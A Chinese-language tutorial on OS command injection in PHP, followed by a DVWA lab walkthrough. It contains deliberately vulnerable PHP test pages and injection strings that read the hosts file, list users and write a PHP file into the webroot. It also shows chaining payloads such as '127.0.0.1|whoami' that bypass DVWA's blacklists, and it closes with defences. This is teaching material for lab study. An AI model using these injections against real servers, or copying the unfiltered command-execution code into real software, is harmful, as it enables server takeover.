目录
- 1 OS命令注入概述
- 2 常见OS命令注入函数及例子
- 2.1 system()函数
- 2.2 exec()函数
- 2.3 shell_exec()函数
- 2.4 passthru()函数
- 2.5 popen()函数
- 2.6 反引号结构
- 3 OS命令注入漏洞的利用
- 3.1 查看系统文件
- 3.2 显示当前路径
- 3.3 写文件
- 4 OS命令注入漏洞的防御
- 5 OS命令注入漏洞靶场实验
- 5.1 实验目的
- 5.2 实验环境
- 5.3 实验前准备
- 5.4 实验内容
- 5.4.1 low级别
- 5.4.2 medium级别
- 5.4.3 high级别
- 5.4.4 impossible级别
- 6 总结
1 OS命令注入概述
背景:程序员使用脚本语言(如PHP等)开发应用程序过程中,脚本语言开发十分快速、简洁、方便,但是也伴随着一些问题,比如速度慢、无法触及系统底层等。开发的应用时,特殊是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件),当应用需要调用一些外部程序时就会用到一些系统命令的函数。
OS命令注入:当应用在调用这些系统命令函数时,如果将用户的输入作为系统命令的参数拼接到命令中,在没有过滤用户输入的情况下,就会造成命令执行漏洞。
条件:
- 程序中含有可以执行OS命令的函数或语言结构;
- 传入该函数或语言结构的参数是客户端可以控制的(可以直接修改或造成影响)且没有进行足够的过滤。
漏洞危害:
- 继承Web服务器程序权限(Web用户权限)去执行系统命令;
- 继承Web服务器程序权限(Web用户权限)去读写文件;
- 反弹shell。通常我们对一个开启了80端口的服务器进行访问时,就会建立起与服务器Web服务链接,从而获取到服务器相应的Web服务。而反弹shell是我们开启一个端口进行监听,转而让服务器主动反弹一个shell来连接我们的主机,我们再通过接收到的shell进而来远程控制服务器。
- 控制整个网站 ;
- 控制整个服务器。
2 常见OS命令注入函数及例子
2.1 system()函数
作用:该函数能够将字符串作为OS命令执行,自带输出功能。
原型:string system ( string $command [, int &$return_var ] )
。
危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
例子:
- 在网站根目录下新建Command文件夹,并在该文件夹下新建txt文件,重命名为symtem.php,该文件的测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
system($cmd);
}else{echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
- 在客户端我们访问该网页时带入如下参数以利用漏洞,网页将执行构造的语句返回系统信息(以下函数也是如此)。注入语句应与靶机系统相适应。
?cmd=ipconfig //将返回IP配置信息
?cmd=cd //查看当前目录
?cmd=systeminfo //返回系统信息
?cmd=whoami //
?cmd=net user //查看或新增用户等
?cmd=dir //将返回文件信息
?cmd=ping www.baidu.com //执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。
?cmd=type c:\windows\system32\drivers\etc\hosts //查看系统文件
?cmd=echo"<?php phpinfo();?>">路径 //写入文件,可写入一句话木马等
2.2 exec()函数
作用:该函数能够将字符串作为OS命令执行,需要配合输出结果命令。
原型:string exec ( string $command [, array &$output [, int &$return_var ]] )
。
危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
例子:
- 在网站根目录下的Command文件夹下,新建txt文件,重命名为exec.php,该文件的测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print exec($cmd);
}else{echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
- 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。注意,该函数的返回结果是有限的。
2.3 shell_exec()函数
作用:该函数能够将字符串作为OS命令执行,需要配合输出结果命令。一般应用最广泛
危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
例子:
- 在网站根目录下的Command文件夹下,新建txt文件,重命名为shell_exec.php,该文件的测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print shell_exec($cmd);
}else{echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
- 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。
2.4 passthru()函数
作用:该函数能够将字符串作为OS命令执行,自带输出功能。
原型:void passthru ( string $command [, int &$return_var ] )
危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
例子:
- 在网站根目录下的Command文件夹下,新建txt文件,重命名为passthru.php,该文件的测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
passthru($cmd);
}else{echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
- 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。
2.5 popen()函数
作用:该函数能执行OS命令,返回的是一个文件指针。无论返回什么,我们关心的是命令被执行了。
特点:与其他函数不同的是,需要传入第二个参数作为第一个参数执行结果的存储文件。
例子:
- 在网站根目录下的Command文件夹下,新建txt文件,重命名为popen.php,该文件的测试代码如下:
<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){echo"<pre>";popen($_GET['cmd'],'r');
}else{echo"?cmd=whoami";
}
?>
- 在客户端我们访问该网页时带入如下参数,网页将执行构造的语句并在同目录下生成文件(如已有该文件则追加内容)。
?cmd=ipconfig >>1.txt //将返回IP配置信息
?cmd=systeminfo >>1.txt //返回系统信息
?cmd=whoami >>1.txt //
?cmd=net user >>1.txt //查看或新增用户等
?cmd=dir >>1.txt //将返回文件信息
?cmd=ping www.baidu.com >>1.txt //执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。
- 访问刚刚写入的1.txt文件,内容如下,说明上述命令执行成功。
2.6 反引号结构
作用:反引号内[
]的字符串也会被解析成OS命令执行,需要配合输出结果命令。
注意:
- 反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的。
- 与其它某些语言不同,反引号不能在双引号字符串中使用。
例子:
- 在网站根目录下的Command文件夹下,新建txt文件,重命名为`.php,该文件的测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `($cmd)`;
}else{echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
- 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。
3 OS命令注入漏洞的利用
OS 命令注入漏洞,攻击者直接继承Web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows 系统下测试成功。
3.1 查看系统文件
采用真实机访问system.php,其中提交参数?cmd=type c:\windows\system32\drivers\etc\hosts
,查看系统hosts 文件。
3.2 显示当前路径
采用真实机访问system.php,其中提交参数?cmd=cd
3.3 写文件
(1)采用真实机访问system.php,其中提交参数?cmd=echo "<?php phpinfo();?>" > C:\phpStudy\PHPTutorial\WWW\Command\shell.php
(2)页面没有报错,访问shell.php 文件,验证文件是否写入成功
4 OS命令注入漏洞的防御
(1)尽量减少命令执行函数的使用,并在disable_functions中禁用(php.ini配置文件中的disable_functions设置);
(2)在进入命令执行函数或方法前,应对参数进行过滤;
(3)参数的值尽量使用引号进行包裹,并在拼接调用前调用addslashes进行转义。
5 OS命令注入漏洞靶场实验
5.1 实验目的
(1)结合SQL注入、XSS漏洞、PHP语句注入等实验,加深理解注入语句的构造与绕过思路;
(2)掌握OS命令注入漏洞的检验与利用方法;
(3)加强代码审计能力。
5.2 实验环境
靶机:win2008虚拟机,部署WAMP环境,并搭建DVWA靶场。虚拟机系统安装及WAMP部署方法参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,DVWA靶场的搭建参考《【环境搭建-02】基于WAMP环境的DVWA漏洞靶场的搭建》
真实机:win10系统。
5.3 实验前准备
Windows 系例支持的多语句执行如下:
- |:直接执行后面的语句。例如: ping 127.0.0.1|whoami。
- ||:或,如果前面命令成功执行,那么命令结束执行;当前面的语句执行出错时,执行后面的语句。例如: ping 127.0.0.1||whoami。
- &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如: ping 127.0.0.1&whoami。
- &&:与,如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如: ping 127.0.0.1&&whoami。
Linux系统支持的多语句执行如下:
- ;:执行完前面的语句再执行后面的。例如: ping 127.0.0.1;whoami。
- |:显示后面语句的执行结果。例如: ping 127.0.0.1|whoami。
- ||:或,如果前面命令成功执行,那么命令结束执行;当前面的语句执行出错时,执行后面的语句。例如: ping 127.0.0.1||whoami。
- &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 。例如: ping 127.0.0.1&whoami。
- &&:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如: ping 127.0.0.1&&whoami。
5.4 实验内容
尝试对不同安全级别的OS命令注入漏洞进行渗透,同时结合其代码审计互相印证学习。
5.4.1 low级别
(1)打开DVWA靶场(登录账号默认是admin,密码是password。),并将难度级别设置为low
(2)当输入IP地址为127.0.0.1
并点击submit时,回显内容为ping的结果。对此,我们推断该处输入参数能带入到后台执行,并回显内容,可能存在注入点。在我们参数输入位置前,应该是有ping命令。
(3)我们采用语句whoami对网站及后台进行无损检测,更换为其他命令可实施攻击。修改参数为127.0.0.1&&whoami
(127.0.0.1是为了使前面的ping闭合,&&为与),回显结果如下,可以看到成功注入出系统信息。
(4)这是几个注入语句的测试结果对比,可以注入语句可能还有更多:
127.0.0.1&&whoami //成功执行并返回ping的信息和whoami的信息
127.0.0.1&whoami //成功执行并返回ping的信息和whoami的信息
127.0.0.1;whoami //执行失败,从cmd运行结果看似乎分号不能分隔开两个语句
127.0.0.1|whoami //成功执行,仅返回whoami信息。
127.0.0.1| whoami //成功执行,仅返回whoami信息。
127.0.0.0.1||whoami //故意输入一个错误的IP,让程序执行或运算符后面的语句。
(5)代码审计,可以看到该网页采用了shell_exec函数,同时,参数没有任何过滤。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
?>
5.4.2 medium级别
(1)将DVWA靶场的难度级别设置为medium
(2)在low级别的基础上,测试其可行注入语句在medium级别的运行情况。
127.0.0.1&&whoami //执行失败,从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami //成功执行并返回ping的信息和whoami的信息
127.0.0.1|whoami //成功执行,仅返回whoami信息。
127.0.0.1| whoami //成功执行,仅返回whoami信息。
127.0.0.0.1||whoami //故意输入一个错误的IP,让程序执行或运算符后面的语句。
(3)代码审计,从其代码分析,在参数输入后对&&和;都过滤掉了。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist$substitutions = array('&&' => '',';' => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
?>
5.4.3 high级别
(1)将DVWA靶场的难度级别设置为high
(2)在low级别的基础上,测试其可行注入语句在medium级别的运行情况。
127.0.0.1&&whoami //执行失败,从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami //执行失败,从显示错误信息判断可能是&被过滤
127.0.0.1|whoami //成功执行,仅返回whoami信息。
127.0.0.1| whoami //执行失败,从显示错误信息判断可能是| 被过滤
127.0.0.0.1||whoami //执行失败,从显示错误信息判断可能是||被过滤
(3)代码审计,从其代码分析,在参数输入后对多种符号都过滤掉了。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&' => '',';' => '','| ' => '','-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
?>
5.4.4 impossible级别
(1)将DVWA靶场的难度级别设置为impossible
(2)代码审计,该级别的代码过滤原则采用的是“满足才给过”,而不是前两关的“满足黑名单就过滤”的原则,因此无法注入其他命令骗其执行。但是该代码的书写方式也限制了用户的输入,比如ping域名则无法ping通。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$target = $_REQUEST[ 'ip' ];$target = stripslashes( $target );// Split the IP into 4 octects$octet = explode( ".", $target );// Check IF each octet is an integerif( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {// If all 4 octets are int's put the IP back together.$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";}else {// Ops. Let the user name theres a mistakeecho '<pre>ERROR: You have entered an invalid IP.</pre>';}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
6 总结
(1)了解可能引起OS命令注入的函数;
(2)掌握这些函数的使用方法;
(3)了解常用的防御方法。
(4)了解OS命令注入的绕过思路。